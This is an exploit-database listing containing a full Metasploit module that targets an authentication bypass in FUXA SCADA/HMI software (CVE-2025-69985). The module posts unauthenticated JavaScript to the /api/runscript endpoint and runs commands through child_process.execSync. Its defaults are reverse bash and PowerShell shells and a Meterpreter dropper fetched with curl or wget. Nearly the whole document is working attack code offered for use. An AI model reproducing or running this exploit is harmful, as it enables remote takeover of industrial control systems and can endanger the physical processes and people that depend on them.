Share
## https://sploitus.com/exploit?id=PACKETSTORM:216281
=============================================================================================================================================
| # Title : FUXA β€ 1.2.8 Authentication Bypass Remote Code Execution |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://github.com/frangoteam/FUXA/ |
=============================================================================================================================================
[+] Summary : This module adds support for exploiting CVE-2025-69985 in FUXA SCADA/HMI software (β€ 1.2.8).
The vulnerability allows unauthenticated access to the /api/runscript endpoint due to an authentication bypass, leading to remote code execution via Node.js child_process.execSync.
[+] The module implements:
A reliable vulnerability check using direct JavaScript execution
Command execution targets for Unix/Linux and Windows systems
A Linux dropper target leveraging CmdStager (curl, wget, printf)
Proper JSON handling and HTTP response validation
Safe error handling aligned with Metasploit coding standards
This implementation follows Rapid7 module development guidelines and includes stability, reliability, and sideβeffect metadata.
[+] POC :
##
# This module requires Metasploit Framework
##
require 'json'
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'FUXA <= 1.2.8 Authentication Bypass Remote Code Execution',
'Description' => %q{
This module exploits CVE-2025-69985 in FUXA SCADA/HMI software.
An authentication bypass allows unauthenticated access to the
/api/runscript endpoint, resulting in remote command execution
via Node.js child_process.
},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-69985'],
['URL', 'https://github.com/joshuavanderpoll/CVE-2025-69985']
],
'Platform' => %w[win linux unix],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'Unix/Linux Command',
{
'Platform' => %w[unix linux],
'Arch' => [ARCH_CMD],
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Windows Command',
{
'Platform' => %w[win],
'Arch' => [ARCH_CMD],
'Type' => :win_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/reverse_powershell'
}
}
],
[
'Linux Dropper',
{
'Platform' => %w[linux],
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => %w[curl wget printf],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'FETCH_COMMAND' => 'curl'
}
}
]
],
'DisclosureDate' => '2026-02-01',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
Opt::RPORT(1881),
OptString.new('TARGETURI', [true, 'Base FUXA path', '/']),
OptString.new('COMMAND', [false, 'Execute a single command'])
])
end
def check
print_status('Checking if target is vulnerable...')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'runscript'),
'headers' => { 'Content-Type' => 'application/json' },
'data' => {
'params' => {
'script' => {
'code' => 'return "msf_check";',
'test' => 'return "msf_check";'
},
'toLogEvent' => false
}
}.to_json
})
return CheckCode::Unknown('No response from target') unless res
return CheckCode::Safe("Unexpected HTTP status #{res.code}") unless res.code == 200
begin
json = JSON.parse(res.body)
return CheckCode::Vulnerable if json.to_s.include?('msf_check')
rescue JSON::ParserError
return CheckCode::Unknown('Response was not valid JSON')
end
CheckCode::Safe
end
def build_js_payload(command)
escaped = Rex::Text.escape_js(command)
<<~JS.strip
const cp = require("child_process");
try {
const result = cp.execSync("#{escaped}", { encoding: "utf8" });
return result.toString();
} catch (err) {
return "ERR:" + err.message;
}
JS
end
def execute_command(cmd, _opts = {})
js_code = build_js_payload(cmd)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'runscript'),
'headers' => {
'Content-Type' => 'application/json',
'Referer' => full_uri.to_s
},
'data' => {
'params' => {
'script' => {
'id' => 'exploit',
'name' => 'exploit',
'code' => js_code,
'test' => js_code
},
'toLogEvent' => false
}
}.to_json
})
unless res
fail_with(Failure::Unreachable, 'Connection failed')
end
unless res.code == 200
fail_with(Failure::UnexpectedReply, "Unexpected HTTP #{res.code}")
end
res.body
end
def exploit
status = check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable') unless status == CheckCode::Vulnerable
print_good('Target is vulnerable, proceeding with exploitation')
case target['Type']
when :unix_cmd, :win_cmd
if datastore['COMMAND'].present?
output = execute_command(datastore['COMMAND'])
print_line(output)
else
execute_command(payload.encoded)
end
when :linux_dropper
execute_cmdstager
else
fail_with(Failure::BadConfig, 'Invalid target configuration')
end
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================